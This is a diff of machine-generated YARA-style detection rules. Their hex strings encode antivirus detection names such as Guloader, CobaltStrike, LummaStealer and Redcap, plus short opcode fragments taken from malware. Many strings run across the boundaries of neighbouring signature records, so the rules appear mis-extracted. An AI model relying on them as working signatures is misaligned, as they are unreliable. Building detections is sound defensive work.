$a_20_3 = {6f 70 69 65 6e 20 70 68 69 6c 6f 73 6f 70 68 69 73 65 64 01 00 14 81 01 64 69 61 6c 79 73 65 72 65 74 20 6c 79 73 74 69 67 73 74 65 01 00 0a 81 01 6d 61 6e 67 6f 73 2e 65 78 65 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 4e 31 32 33 21 4d 54 42 00 01 00 09 81 01 67 75 69 64 65 70 6f 73 74 01 00 } //27753 + $a_60_1 = {11 90 01 01 17 58 90 00 01 00 13 01 1e 5a 1f 1f 5f 62 58 13 90 01 01 11 90 01 01 17 58 90 00 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4a 30 31 21 4d 54 42 00 01 00 11 81 01 70 61 73 6b 20 72 65 63 69 70 69 65 6e 74 65 72 73 01 } //24383 + $a_01_2 = {64 75 6c 63 65 6c 79 20 66 6f 72 64 72 65 6a 65 6c 73 65 01 00 0d 81 01 6b 61 74 65 64 72 61 6c 73 2e 65 78 65 01 00 18 81 01 6f 76 65 72 73 6b 75 64 73 64 65 6c 69 6e 67 65 6e 5c 67 65 73 6a 66 74 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 48 31 32 33 21 4d 54 42 00 01 00 0e 81 01 66 72 65 61 6b 20 66 6c 6f 72 65 74 } //4864 + $a_00_3 = {1b } //28021 condition: - ((#a_54_0 & 1)*18467+(#a_60_1 & 1)*24383+(#a_66_2 & 1)*-32485+(#a_20_3 & 1)*27753) >=4 + ((#a_54_0 & 1)*18467+(#a_60_1 & 1)*24383+(#a_01_2 & 1)*4864+(#a_00_3 & 1)*28021) >=4 } -rule _InfrastructureShared_8773{ +rule _InfrastructureShared_9311{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4a 30 31 21 4d 54 42 00 01 00 11 81 01 70 61 73 6b 20 72 65 63 69 70 69 65 6e 74 65 72 73 01 00 13 81 01 64 75 6c 63 65 6c 79 20 66 6f 72 64 72 65 6a 65 6c 73 65 01 00 0d 81 01 6b 61 74 65 64 72 } //18467 + $a_2e_1 = {78 65 01 00 18 81 01 6f 76 65 72 73 6b 75 64 73 64 65 6c 69 6e 67 65 6e 5c 67 65 73 6a 66 74 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 43 48 31 32 33 21 4d 54 42 00 01 00 0e 81 01 66 72 65 61 6b 20 66 6c 6f 72 65 74 75 6d 01 00 1b 81 01 66 61 63 69 6c 79 20 6b 6f 70 69 65 6e 20 } //27745 + $a_6c_2 = {73 6f 70 68 69 73 65 64 01 00 14 81 01 64 69 61 6c 79 73 65 72 65 74 20 6c 79 73 74 69 67 73 74 65 01 00 0a 81 01 6d 61 6e 67 6f 73 2e 65 78 65 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 4e 31 32 33 21 4d 54 42 00 01 00 09 81 01 67 75 69 64 65 70 } //26736 + $a_01_3 = {00 0f 81 01 74 61 6e 6e 69 6e 73 20 65 6c 6f 68 69 73 74 01 00 21 81 01 6d 69 6e 65 72 61 6c 69 73 65 72 73 20 69 6e 63 75 62 61 74 69 6e 67 20 66 61 6c 73 6b 6e 65 72 73 01 00 0e 81 01 74 69 67 67 65 72 6d 75 6e 6b 65 6e 65 73 00 00 78 85 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4c 4c 5a 31 32 } //29551 + condition: + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*27745+(#a_6c_2 & 1)*26736+(#a_01_3 & 1)*29551) >=4 + +} +rule _InfrastructureShared_9312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -93613,7 +99456,7 @@ rule _InfrastructureShared_8773{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25601+(#a_69_2 & 1)*28524+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_8774{ +rule _InfrastructureShared_9313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -93626,7 +99469,7 @@ rule _InfrastructureShared_8774{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25205+(#a_20_2 & 1)*25458+(#a_31_3 & 1)*19789) >=4 } -rule _InfrastructureShared_8775{ +rule _InfrastructureShared_9314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -93639,7 +99482,7 @@ rule _InfrastructureShared_8775{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*28271+(#a_6e_2 & 1)*28263+(#a_00_3 & 1)*66) >=4 } -rule _InfrastructureShared_8776{ +rule _InfrastructureShared_9315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -93652,7 +99495,7 @@ rule _InfrastructureShared_8776{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*27759+(#a_67_2 & 1)*27393+(#a_74_3 & 1)*28528) >=4 } -rule _InfrastructureShared_8777{ +rule _InfrastructureShared_9316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -93665,7 +99508,7 @@ rule _InfrastructureShared_8777{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*-32503+(#a_6c_2 & 1)*26996+(#a_01_3 & 1)*24932) >=4 } -rule _InfrastructureShared_8778{ +rule _InfrastructureShared_9317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -93678,20 +99521,33 @@ rule _InfrastructureShared_8778{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29285+(#a_61_2 & 1)*385+(#a_00_3 & 1)*12079) >=4 } -rule _InfrastructureShared_8779{ +rule _InfrastructureShared_9318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 6d 7a 69 6e 72 65 73 6f 75 72 63 65 00 01 00 23 01 2d 69 64 78 20 30 20 2d 69 70 20 25 73 2d 25 73 20 2d 70 6f 72 74 20 38 30 20 2d 69 6e 73 65 72 74 20 22 01 00 13 01 3c 69 66 72 61 6d 65 20 73 72 63 3d 68 74 74 70 3a 2f 2f 01 00 15 01 25 77 69 } //18467 - $a_72_1 = {5c 6e 70 70 74 6f 6f 6c 73 2e 64 6c 6c 01 00 0e 01 6e 00 70 00 66 00 2e 00 73 00 79 00 73 00 00 00 78 85 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 41 50 54 5f 41 50 54 32 39 5f 4e 4f 42 45 4c 49 55 4d 5f 42 6f 6f 6d 42 6f 78 5f 50 44 46 5f 4d 61 73 71 5f 4d 61 79 32 00 } //25710 - $a_01_2 = {25 50 44 46 2d 31 2e 33 0a 25 } //2 倥䙄ㄭ㌮┊ - $a_01_3 = {0a 25 25 45 4f 46 0a } //2 + $a_72_1 = {5c 6e 70 70 74 6f 6f 6c 73 2e 64 6c 6c 01 00 0e 01 6e 00 70 00 66 00 2e 00 73 00 79 00 73 00 00 00 78 85 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 51 4d 44 21 4d 54 42 00 01 00 16 01 54 68 72 65 61 64 53 74 61 63 6b 53 70 6f 6f 66 65 72 } //25710 + $a_65_2 = {00 13 01 49 6e 6a 65 63 74 69 6e 67 20 73 68 65 6c 6c 63 6f 64 65 01 00 0f 01 6b 65 72 6e 65 6c 33 32 21 53 6c 65 65 70 21 01 00 0d 01 3d 3d 3d 3e 20 4d 79 53 6c 65 65 70 28 00 00 78 85 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 41 50 54 5f 41 50 54 32 39 5f 4e 4f 42 45 4c 49 55 4d 5f 42 6f 6f 6d 42 6f 78 5f 50 44 } //25902 + $a_61_3 = {71 5f 4d 61 79 32 00 02 00 0a 01 25 50 44 46 2d 31 2e 33 0a 25 02 00 07 01 0a 25 25 45 4f 46 0a ff ff 06 01 65 6e 64 6f 62 6a ff ff 09 01 65 6e 64 73 74 72 65 61 6d ff ff 0b 03 6f 62 6a 0a 90 0a 05 00 20 90 00 00 00 78 85 00 00 04 } //24390 condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25710+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2) >=4 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25710+(#a_65_2 & 1)*25902+(#a_61_3 & 1)*24390) >=4 } -rule _InfrastructureShared_8780{ +rule _InfrastructureShared_9319{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 51 4d 44 21 4d 54 42 00 01 00 16 01 54 68 72 65 61 64 53 74 61 63 6b 53 70 6f 6f 66 65 72 2e 65 78 65 01 00 13 01 49 6e 6a 65 63 } //21539 + $a_67_1 = {73 68 65 6c 6c 63 6f 64 65 01 00 0f 01 6b 65 72 6e 65 6c 33 32 21 53 6c 65 65 70 21 01 00 0d 01 3d 3d 3d 3e 20 4d 79 53 6c 65 65 70 28 00 00 78 85 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 41 50 54 5f 41 50 54 32 39 5f 4e 4f 42 45 4c 49 55 4d 5f 42 6f 6f 6d 42 6f 78 5f 50 44 46 5f 4d } //26996 + $a_5f_2 = {61 79 32 00 02 00 0a 01 25 50 44 46 2d 31 2e 33 0a 25 02 00 07 01 0a 25 25 45 4f 46 0a ff ff 06 01 65 6e 64 6f 62 6a ff ff 09 01 65 6e 64 73 74 72 65 61 6d ff ff 0b 03 6f 62 6a 0a 90 0a 05 00 20 90 00 00 00 78 85 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 42 72 6f 77 73 65 46 6f 78 2e 57 21 70 75 } //29537 + $a_6f_3 = {73 65 67 00 01 00 0e 01 67 65 74 5f 50 75 72 42 72 6f 77 73 65 47 01 00 12 01 44 65 73 6b 74 6f 70 2e 50 75 72 42 72 6f 77 73 65 47 01 00 0a 01 73 65 74 5f 49 45 47 75 69 64 01 00 0a 01 73 65 74 5f 47 43 47 75 69 64 01 00 0a 01 73 65 74 5f 46 46 47 75 69 64 00 00 78 85 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 6e 74 69 } //25202 + condition: + ((#a_4c_0 & 1)*21539+(#a_67_1 & 1)*26996+(#a_5f_2 & 1)*29537+(#a_6f_3 & 1)*25202) >=4 + +} +rule _InfrastructureShared_9320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -93699,26 +99555,39 @@ rule _InfrastructureShared_8780{ $a_46_0 = {59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 2f 41 50 54 5f 41 50 54 32 39 5f 4e 4f 42 45 4c 49 55 4d 5f 42 6f 6f 6d 42 6f 78 5f 50 44 46 5f 4d 61 73 71 5f 4d 61 79 32 00 02 00 0a 01 25 50 44 46 2d 31 2e 33 0a 25 02 00 07 01 0a 25 } //16675 $a_46_1 = {ff ff 06 01 65 6e 64 6f 62 6a ff ff 09 01 65 6e 64 73 74 72 65 61 6d ff ff 0b 03 6f 62 6a 0a 90 0a 05 00 20 90 00 00 00 78 85 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 42 72 6f 77 73 65 46 6f 78 } //17701 $a_70_2 = {72 62 72 6f 77 73 65 67 00 01 00 0e 01 67 65 74 5f 50 75 72 42 72 6f 77 73 65 47 01 00 12 01 44 65 } //22318 - $a_6f_3 = {2e 50 75 72 42 72 6f 77 73 65 47 01 00 0a 01 73 65 74 5f 49 45 47 75 69 64 01 00 0a 01 73 65 74 5f 47 43 47 75 69 64 01 00 0a 01 73 65 74 5f 46 46 47 75 69 64 00 00 78 85 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 53 49 4c 5f 41 76 61 73 74 00 01 00 05 00 4b 69 6c 6c 00 01 00 05 01 61 76 61 73 74 01 00 0d 01 44 6f 77 6e 6c } //27507 - $a_44_4 = {74 61 00 01 00 0a 01 44 65 6c 65 74 65 46 69 6c 65 01 00 30 01 7e 24 00 00 04 0d 1a 0c 08 45 07 00 00 00 58 00 00 00 28 00 00 00 28 00 00 00 79 00 00 00 00 00 00 00 28 00 00 00 44 00 00 00 1d d0 0f 00 00 02 00 00 78 85 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 } //24943 + $a_6f_3 = {2e 50 75 72 42 72 6f 77 73 65 47 01 00 0a 01 73 65 74 5f 49 45 47 75 69 64 01 00 0a 01 73 65 74 5f 47 43 47 75 69 64 01 00 0a 01 73 65 74 5f 46 46 47 75 69 64 00 00 78 85 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 6e 74 69 45 76 61 73 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 08 81 01 44 65 62 75 67 67 65 72 01 00 0a 81 01 49 } //27507 + $a_74_4 = {63 68 65 64 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0b 81 01 4d 61 63 68 69 6e 65 4e 61 6d 65 01 00 16 81 01 47 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 00 00 78 85 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 53 49 4c 5f 41 76 61 73 74 00 01 00 05 00 4b 69 6c 6c 00 01 00 } //16755 condition: - ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*17701+(#a_70_2 & 1)*22318+(#a_6f_3 & 1)*27507+(#a_44_4 & 1)*24943) >=4 + ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*17701+(#a_70_2 & 1)*22318+(#a_6f_3 & 1)*27507+(#a_74_4 & 1)*16755) >=4 } -rule _InfrastructureShared_8781{ +rule _InfrastructureShared_9321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 42 72 6f 77 73 65 46 6f 78 2e 57 21 70 75 72 62 72 6f 77 73 65 67 00 01 00 0e 01 67 65 74 5f 50 75 72 42 72 6f 77 73 65 47 01 00 12 01 44 65 73 6b 74 6f 70 2e 50 75 72 42 72 6f 77 73 65 } //16675 - $a_74_2 = {49 45 47 75 69 64 01 00 0a 01 73 65 74 5f 47 43 47 75 69 64 01 00 0a 01 73 65 74 5f 46 46 47 75 69 64 00 00 78 85 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 53 49 4c 5f 41 76 61 73 74 00 01 00 05 00 4b 69 6c 6c 00 01 00 05 01 61 76 61 73 74 01 00 0d 01 44 6f 77 6e 6c 6f 61 64 44 } //29441 - $a_00_3 = {01 00 0a 01 44 65 6c 65 74 65 46 69 6c 65 01 00 30 01 7e 24 00 00 04 0d 1a 0c 08 45 07 00 00 00 58 00 00 00 28 00 00 00 28 00 00 00 79 00 00 00 00 00 00 00 28 00 00 00 44 00 00 00 1d d0 0f 00 00 02 00 00 78 85 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 } //29793 - $a_64_4 = {61 70 2e 41 47 21 4d 54 42 00 04 00 3e 01 4c 8b 44 cd 40 49 c1 c0 24 4d 21 f8 4c 33 44 cd 00 4d 89 c1 4d 89 c2 49 c1 e2 0c 49 21 fa 4d 31 c2 49 c1 e0 04 49 21 f0 49 c1 e1 08 49 21 d9 4d 31 c1 4d 31 ca 4c 89 54 cd 40 48 ff c1 eb 01 00 15 01 49 39 c4 74 10 8a 8c 04 60 07 00 00 30 4c 05 00 48 ff c0 eb eb } //21039 + $a_74_2 = {49 45 47 75 69 64 01 00 0a 01 73 65 74 5f 47 43 47 75 69 64 01 00 0a 01 73 65 74 5f 46 46 47 75 69 64 00 00 78 85 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 6e 74 69 45 76 61 73 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 08 81 01 44 65 62 75 67 67 65 72 01 00 0a 81 01 49 73 41 74 74 } //29441 + $a_65_3 = {01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0b 81 01 4d 61 63 68 69 6e 65 4e 61 6d 65 01 00 16 81 01 47 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 00 00 78 85 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 53 49 4c 5f 41 76 61 73 74 00 01 00 05 } //25441 + $a_6c_4 = {00 01 00 05 01 61 76 61 73 74 01 00 0d 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 00 01 00 0a 01 44 65 6c 65 74 65 46 69 6c 65 01 00 30 01 7e 24 00 00 04 0d 1a 0c 08 45 07 00 00 00 58 00 00 00 28 00 00 00 28 00 00 00 79 00 00 00 00 00 00 00 28 00 00 00 44 00 00 00 1d d0 0f 00 00 02 00 00 78 85 00 00 05 00 05 00 02 00 } //19200 condition: - ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*29441+(#a_00_3 & 1)*29793+(#a_64_4 & 1)*21039) >=4 + ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*29441+(#a_65_3 & 1)*25441+(#a_6c_4 & 1)*19200) >=4 } -rule _InfrastructureShared_8782{ +rule _InfrastructureShared_9322{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 41 6e 74 69 45 76 61 73 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 08 81 01 44 65 62 75 67 67 65 72 01 00 0a 81 01 49 73 41 74 74 61 63 68 65 64 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 0b 81 01 4d 61 } //18467 + $a_6e_1 = {4e 61 6d 65 01 00 16 81 01 47 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 00 00 78 85 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4d 53 49 4c 5f 41 76 61 73 74 00 01 00 05 00 4b 69 6c 6c 00 01 00 05 01 61 76 61 73 74 01 00 0d 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 00 01 00 0a } //26723 + $a_6c_2 = {74 65 46 69 6c 65 01 00 30 01 7e 24 00 00 04 0d 1a 0c 08 45 07 00 00 00 58 00 00 00 28 00 00 00 28 00 00 00 79 00 00 00 00 00 00 00 28 00 00 00 44 00 00 00 1d d0 0f 00 00 02 00 00 78 85 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 64 63 61 70 2e 41 47 21 4d } //17409 + $a_4c_4 = {44 } //15872 D + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26723+(#a_6c_2 & 1)*17409+(#a_4c_4 & 1)*15872) >=4 + +} +rule _InfrastructureShared_9323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -93726,24 +99595,47 @@ rule _InfrastructureShared_8782{ $a_54_0 = {3a 57 69 6e 33 32 2f 4d 53 49 4c 5f 41 76 61 73 74 00 01 00 05 00 4b 69 6c 6c 00 01 00 05 01 61 76 61 73 74 01 00 0d 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 00 01 00 0a 01 44 65 6c 65 74 65 46 69 6c 65 01 00 30 01 7e 24 00 00 04 0d 1a 0c 08 45 07 00 } //18467 $a_00_1 = {00 00 28 00 00 00 28 00 00 00 79 00 00 00 00 00 00 00 28 00 00 00 44 00 00 00 1d d0 0f 00 00 02 00 00 78 85 00 00 05 00 05 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 64 63 61 70 2e 41 47 21 4d 54 42 00 04 00 3e 01 4c 8b 44 cd 40 49 } //0 $a_4d_2 = {f8 4c 33 44 cd 00 4d 89 c1 4d 89 c2 49 c1 e2 0c 49 21 fa 4d 31 c2 49 c1 e0 04 49 21 f0 49 c1 e1 08 49 21 d9 } //-16191 - $a_4d_3 = {ca 4c 89 54 cd 40 48 ff c1 eb 01 00 15 01 49 39 c4 74 10 8a 8c 04 60 07 00 00 30 4c 05 00 48 ff c0 eb eb 00 00 78 85 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 62 6c 61 6d 79 2e 4e 53 21 4d 54 42 00 01 00 12 01 eb 07 8b 45 9c 40 89 45 9c 83 7d 9c 02 7d 10 8b 45 9c 02 00 12 01 eb 07 8b 45 e0 40 89 45 e0 83 7d e0 04 7d 10 8b 45 e0 01 00 12 01 eb 07 8b 45 84 40 89 45 84 83 7d 84 04 7d 10 8b 45 84 01 00 12 01 eb 07 8b 45 e4 40 89 45 e4 83 7d e4 01 7d 10 8b 45 e4 00 00 78 85 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 43 6f } //12621 - $a_69_4 = {2e 43 31 00 01 00 0d 80 01 43 6f 6e 64 75 69 74 45 6e 61 62 6c 65 01 00 0a 80 01 74 62 65 64 72 73 2e 70 64 62 01 00 15 80 01 41 75 74 6f 55 70 64 61 74 65 72 48 65 6c 70 65 72 2e 65 78 65 01 00 18 80 01 53 6f 66 74 77 61 72 65 5c 54 62 63 63 69 6e 74 5c 54 6f 6f 6c 62 61 72 01 00 0e 80 01 49 73 53 69 6c 65 6e 74 55 70 64 61 74 65 00 00 78 85 00 00 } //25710 + $a_4d_3 = {ca 4c 89 54 cd 40 48 ff c1 eb 01 00 15 01 49 39 c4 74 10 8a 8c 04 60 07 00 00 30 4c 05 00 48 ff c0 eb eb 00 00 78 85 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 53 58 46 21 4d 54 42 00 03 00 43 03 6a 00 8d 85 00 e0 ff ff 68 00 20 00 00 50 ff 35 6c 20 40 00 ff 15 90 01 04 8b f8 85 ff 7e 58 8d 85 00 e0 ff ff 57 50 a1 68 20 40 00 8d 84 18 50 c6 04 00 50 e8 90 01 04 03 df 83 c4 0c 3b de 75 bd 90 00 02 00 12 01 8b 4c 05 ec 89 88 48 13 40 00 83 c0 08 83 f8 18 7c ee 00 00 78 85 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f } //12621 + $a_3a_4 = {69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 50 47 54 50 21 4d 54 42 00 02 00 23 03 8b 45 fc 40 89 45 fc 81 7d fc 90 01 04 74 90 01 01 8b 45 08 89 83 90 01 01 17 2d 12 ff 45 08 43 eb 90 00 02 00 1f 03 d3 d0 8a 0f d3 d0 4b 75 90 01 01 0f af c3 47 46 8b 4d fc 41 89 4d fc 81 f9 90 01 04 75 90 00 01 00 06 01 fe 0f 47 49 75 } //24938 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_4d_2 & 1)*-16191+(#a_4d_3 & 1)*12621+(#a_69_4 & 1)*25710) >=4 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_4d_2 & 1)*-16191+(#a_4d_3 & 1)*12621+(#a_3a_4 & 1)*24938) >=4 } -rule _InfrastructureShared_8783{ +rule _InfrastructureShared_9324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 52 65 64 63 61 70 2e 41 47 21 4d 54 42 00 04 00 3e 01 4c 8b 44 cd 40 49 c1 c0 24 4d 21 f8 4c 33 44 cd 00 4d 89 c1 4d 89 c2 49 c1 e2 0c 49 21 fa 4d 31 c2 49 c1 e0 04 49 21 f0 49 c1 e1 08 49 21 d9 4d 31 c1 4d } //18467 - $a_89_1 = {cd 40 48 ff c1 eb 01 00 15 01 49 39 c4 74 10 8a 8c 04 60 07 00 00 30 4c 05 00 48 ff c0 eb eb 00 00 78 85 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 62 6c 61 6d 79 2e 4e 53 21 } //-13775 + $a_89_1 = {cd 40 48 ff c1 eb 01 00 15 01 49 39 c4 74 10 8a 8c 04 60 07 00 00 30 4c 05 00 48 ff c0 eb eb 00 00 78 85 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 53 58 46 21 4d 54 42 00 03 } //-13775 condition: ((#a_54_0 & 1)*18467+(#a_89_1 & 1)*-13775) >=5 } -rule _InfrastructureShared_8784{ +rule _InfrastructureShared_9325{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 53 58 46 21 4d 54 42 00 03 00 43 03 6a 00 8d 85 00 e0 ff ff 68 00 20 00 00 50 ff 35 6c 20 40 00 ff 15 90 01 04 8b f8 85 ff 7e 58 8d 85 00 e0 ff ff 57 50 } //21539 + $a_40_1 = {8d 84 18 50 c6 04 00 50 e8 90 01 04 03 df 83 c4 0c 3b de 75 bd 90 00 02 00 12 01 8b 4c 05 ec 89 } //26785 + condition: + ((#a_4c_0 & 1)*21539+(#a_40_1 & 1)*26785) >=5 + +} +rule _InfrastructureShared_9326{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 50 47 54 50 21 4d 54 42 00 02 00 23 03 8b 45 fc 40 89 45 fc 81 7d fc 90 01 04 74 90 01 01 8b 45 08 89 83 90 01 01 17 2d 12 ff 45 } //21539 + $a_90_1 = {02 00 1f 03 d3 d0 8a 0f d3 d0 4b 75 90 01 01 0f af c3 47 46 8b 4d fc 41 89 4d fc 81 f9 90 01 04 75 90 00 01 00 06 01 fe 0f 47 49 75 fa 00 00 78 85 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 62 6c 61 6d 79 2e 4e 53 21 4d 54 42 00 01 00 12 01 eb 07 8b 45 9c 40 89 45 9c 83 7d 9c 02 7d 10 8b 45 9c 02 00 12 01 eb 07 8b 45 e0 40 89 45 e0 83 7d e0 04 7d 10 8b 45 e0 01 00 12 01 eb 07 8b 45 84 40 89 45 84 83 7d 84 04 7d 10 8b 45 84 01 00 12 01 eb 07 8b 45 e4 40 89 45 e4 83 7d e4 01 7d 10 8b 45 e4 00 00 78 85 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 43 6f 6e 64 75 69 74 2e 43 31 00 01 00 0d 80 01 43 6f 6e 64 75 69 74 45 6e 61 62 6c 65 01 00 0a 80 01 } //17160 + $a_64_2 = {73 2e 70 64 62 01 00 15 80 01 41 75 74 6f 55 70 64 61 74 65 72 48 65 6c 70 65 72 2e 65 78 65 01 00 18 80 01 53 6f 66 74 77 61 72 65 5c 54 62 63 63 69 6e 74 5c 54 6f 6f 6c 62 61 72 01 00 0e 80 01 49 73 53 69 6c 65 6e 74 55 70 64 61 74 65 00 00 78 85 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 50 57 53 } //25204 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*17160+(#a_64_2 & 1)*25204) >=5 + +} +rule _InfrastructureShared_9327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -93756,7 